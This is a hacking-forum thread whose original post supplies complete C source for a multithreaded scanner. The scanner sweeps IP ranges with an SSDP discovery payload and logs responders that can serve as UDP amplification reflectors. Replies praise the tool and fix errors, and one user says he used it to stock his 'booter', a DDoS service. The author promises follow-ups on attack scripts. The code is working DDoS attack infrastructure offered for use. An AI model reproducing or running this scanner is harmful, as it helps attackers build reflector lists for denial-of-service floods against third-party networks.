

Forum:[Hack Forums](#)

Thread: [Scanning For All Spoofed UDP Reflection Vectors With Custom Payloads](#)

regexks_ - March 9, 2013, 11:54 am

Requirements

A dedi or VPS with some form of Linux installed (I'll be using my dedi with Debian 7). OpenVZ VPS will NOT work.

Concept

Utilizing public scripts like the NTP scanner floating around Pastebin and the payloads you can find on my honeypot located at <https://amplists.com> you can create scanners for any payload imaginable.

Application

```
Code #include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <math.h>
#include <ctype.h>
#include <errno.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
```

```
volatile int running_threads = 0;
volatile int found_srvs = 0;
volatile unsigned long per_thread = 0;
volatile unsigned long start = 0;
volatile unsigned long scanned = 0;
volatile int sleep_between = 0;
volatile int bytes_sent = 0;
volatile unsigned long hosts_done = 0;
FILE *fd;
char payload[] =
```

```
"\x4d\x2d\x53\x45\x41\x52\x43\x48\x20\x2a\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x48\x6f\x73\x74\x3a\x32\x33\x39\x2e\x32\x35\x35\x2e\x32\x35\x35\x2e\x32\x35\x30\x3a\x31\x39\x30\x30\x0d\x0a\x53\x54\x3a\x73\x73\x64\x70\x3a\x61\x6c\x6c\x0d\x0a\x4d\x61\x6e\x3a\x22\x73\x73\x64\x70\x3a\x64\x69\x73\x63\x6f\x76\x65\x72\x22\x0d\x0a\x4d\x58\x3a\x33\x0d\x0a\x0d\x0a";
```

```
size = sizeof(payload);
```

```
void *flood(void *par1)
{
    running_threads++;
    int thread_id = (int)par1;
    unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
    unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
    unsigned long w;
    int y;
    unsigned char buf[65536];
    memset(buf, 0x01, 1);
    int sizeofpayload = 1;
    int sock;
    if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
        perror("cant open socket");
        exit(-1);
    }
    for(w=ntohl(start_ip);w<htonl(end);w++)
    {
        struct sockaddr_in servaddr;
        bzero(&servaddr, sizeof(servaddr));
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr=htonl(w);
        servaddr.sin_port=htons(1900);
        sendto(sock,payload,size,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
        bytes_sent+=size;
        scanned++;
        hosts_done++;
    }
    close(sock);
    running_threads--;
    return;
}
```

```
void sighandler(int sig)
{
    fclose(fd);
    printf("\n");
    exit(0);
}
```

```
void *recievethread()
{
    printf("\n");
    int saddr_size, data_size, sock_raw;
    struct sockaddr_in saddr;
    struct in_addr in;

    unsigned char *buffer = (unsigned char *)malloc(65536);
    sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
    if(sock_raw < 0)
```

```

{
    printf("Socket Error\n");
    exit(1);
}
while(1)
{
    saddr_size = sizeof saddr;
    data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
    if(data_size < 0 )
    {
        printf("Recvfrom error , failed to get packets\n");
        exit(1);
    }
    struct iphdr *iph = (struct iphdr*)buffer;
    if(iph->protocol == 17)
    {
        unsigned short iphdrlen = iph->ihl*4;
        struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
        unsigned char* payload = buffer + iphdrlen + 8;
        if(ntohs(udph->source) == 1900)
        {
            int body_length = data_size - iphdrlen - 8;

            if (body_length > 40)

            {
                found_srvs++;

                fprintf(fd,"%s %d\n",inet_ntoa(saddr.sin_addr),body_length);
                fflush(fd);

            }

        }

    }

    close(sock_raw);
}

int main(int argc, char *argv[ ])
{
    if(argc < 6){
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stdout, "Usage: %s <ip range start (192.0.0.0)> <ip range end (198.255.255.255)> <outfile> <threads> <scan delay in ms>\n", argv[0]);
        exit(-1);
    }
    fd = fopen(argv[3], "a");
    sleep_between = atoi(argv[5]);

```

```
signal(SIGINT, &sighandler);
```

```
int threads = atoi(argv[4]);
```

```
pthread_t thread;
```

```
pthread_t listenthread;
```

```
pthread_create( &listenthread, NULL, &recievethread, NULL);
```

```
char *str_start = malloc(18);
```

```
memset(str_start, 0, 18);
```

```
str_start = argv[1];
```

```
char *str_end = malloc(18);
```

```
memset(str_end, 0, 18);
```

```
str_end = argv[2];
```

```
start = inet_addr(str_start);
```

```
per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
```

```
unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
```

```
int i;
```

```
for(i = 0; i < threads; i++){
```

```
    pthread_create( &thread, NULL, &flood, (void *) i);
```

```
}
```

```
sleep(1);
```

```
printf("Scan in Progress \n");
```

```
char *temp = (char *)malloc(17);
```

```
memset(temp, 0, 17);
```

```
sprintf(temp, "SSDP Found");
```

```
printf("%-16s", temp);
```

```
memset(temp, 0, 17);
```

```
sprintf(temp, "IP/s");
```

```
printf("%-16s", temp);
```

```
memset(temp, 0, 17);
```

```
sprintf(temp, "Bytes/s");
```

```
printf("%-16s", temp);
```

```
memset(temp, 0, 17);
```

```
sprintf(temp, "Threads");
```

```
printf("%-16s", temp);
```

```
memset(temp, 0, 17);
```

```
sprintf(temp, "Percent Done");
```

```
printf("%s", temp);
```

```
printf("\n");
```

```
char *new;
```

```
new = (char *)malloc(16*6);
```

```
while (running_threads > 0)
```

```
{
```

```
    printf("\r");
```

```
    memset(new, '\0', 16*6);
```

```
    sprintf(new, "%s|%-15lu", new, found_srvs);
```

```
    sprintf(new, "%s|%-15d", new, scanned);
```

```
    sprintf(new, "%s|%-15d", new, bytes_sent);
```

```
    sprintf(new, "%s|%-15d", new, running_threads);
```

```
    memset(temp, 0, 17);
```

```
    int percent_done = ((double)(hosts_done) / (double)(toscan)) * 100;
```

```

    sprintf(temp, "%d%%", percent_done);
    sprintf(new, "%s|%s", new, temp);
    printf("%s", new);
    fflush(stdout);
    bytes_sent=0;
    scanned = 0;
    sleep(1);
}
printf("\n");
fclose(fd);
return 0;
}

```

This is the NTP scanner edited to scan using the SSDP payload and filter responses.

The changes are in these areas:

Code char payload[] =

```

"\x4d\x2d\x53\x45\x41\x52\x43\x48\x20\x2a\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x48\x6f\x
73\x74\x3a\x32\x33\x39\x2e\x32\x35\x35\x2e\x32\x35\x35\x2e\x32\x35\x30\x3a\x31\x39\x30\x30\x0
d\x0a\x53\x54\x3a\x73\x73\x64\x70\x3a\x61\x6c\x6c\x0d\x0a\x4d\x61\x6e\x3a\x22\x73\x73\x64\x70\
x3a\x64\x69\x73\x63\x6f\x76\x65\x72\x22\x0d\x0a\x4d\x58\x3a\x33\x0d\x0a\x0d\x0a";

```

This is the SSDP Discovery payload.

Code servaddr.sin_port=htons(1900);

This is the SSDP service destination port.

Code if(ntohs(udph->source) == 1900)

This is the source port of incoming SSDP response packets.

I'll expand this more over time to include how to create attack scripts for these lists and methods on filtering popular attack vectors.

Op-Jax - March 9, 2013, 12:13 pm

Great tutorial D: Am sure people will need this xD Thanks :P

Cryptic™ - March 9, 2013, 1:47 pm

Just used this method to get a ton of more stuff for my booter.

Insta Zane - March 9, 2013, 1:59 pm

Known regex for awhile.. always has some HQ shit and knows what he is doing, HQ Threads thanks!

regexks_ - March 9, 2013, 11:08 pm

Thanks for all the feed back guys. I'm working on the next tutorial pretty soon.

phlow - March 10, 2013, 1:03 am

Great job on the tutorial man. I found it to be pretty detailed.

?Denialistic - March 10, 2013, 2:39 pm

thanks for this tutorial! Works great

Elements. - January 4, 2014, 6:48 pm

<http://prntscr.com/2gmgr7> I seem to be getting this error.

regexks_ - January 5, 2014, 8:03 am

(Jan 4, 2014 07:48 PM)Elements. Wrote: [\[CITE\]](#) <http://prntscr.com/2gmgr7> I seem to be getting this error.

Read the error. You're missing a module for Perl containing Net/IP.pm.

<http://search.cpan.org/dist/Net-IP/IP.pm>

<http://stackoverflow.com/questions/65865/whats-the-easiest-way-to-install-a-missing-perl-module>

ItsFluffy - February 26, 2014, 8:25 pm

this is a very nice tut... why is this method better than a general dns scanner?

hope to hear some valuable input from you on that

by the way, all the images are gone

BlackLayer - April 8, 2014, 12:47 am

you are is clever ?, thanks for tut. ?

M2K - July 16, 2014, 3:57 pm

(Jan 4, 2014 07:48 PM)Elements. Wrote: [\[CITE\]](#) <http://prntscr.com/2gmgr7> I seem to be getting this error.

Code apt-get install libNet-IP-perl

apt-get install libNet-DNS-perl

that worked for me

regexks_ - August 1, 2015, 4:34 pm

Updated information and added more relevant content :)

Bull™ - August 1, 2015, 5:15 pm

Very nice tutorial Buddy , It will be help alot to Newbies .

J?son - August 2, 2015, 12:28 pm

Your scanner is broke. You forgot to change the payload size. It's still 8 when you changed the NTP scanner.

Code unsigned char* payload = buffer + iphdrlen + 8;

if(ntohs(udph->source) == 1900)

{

int body_length = data_size - iphdrlen - 8;

The payload size for SSDP is 90

?•?•? - August 2, 2015, 12:37 pm

The /listener.txt is full of google dns shiet, can't find anything there rip.

regexks_ - August 2, 2015, 5:44 pm

(Aug 2, 2015 12:28 PM)ROOT Wrote: [\[CITE\]](#) Your scanner is broke. You forgot to change the payload size. It's still 8 when you changed the NTP scanner.

Code unsigned char* payload = buffer + iphdrlen + 8;

if(ntohs(udph->source) == 1900)

{

int body_length = data_size - iphdrlen - 8;

The payload size for SSDP is 90

... That has nothing to do with the payload size. This code is on the receiving socket and is just creating a character array. It automatically calculates payload size as you can see at the top:

```
Code size = sizeof(payload);
```

KnockSteadys - *August 19, 2015, 6:25 am*

thanks for the tut man this really helps

TanfoMofo - *August 19, 2015, 6:43 am*

good tut, thanks for this bud

regexks_ - *August 28, 2015, 10:58 pm*

My honeypot has gathered a massive amount of data during all this time. It's a definitely awesome source for information regarding UDP amplification attacks.

shangsheo - *September 16, 2015, 8:37 pm*

greate thanks, i used it and it worked perfectly!

regexks_ - *September 23, 2015, 5:01 pm*

I've made some serious changes to the UDP and DNS honeypots located at <https://amplists.com>

Check them out and see if there's any cool data you're interested in.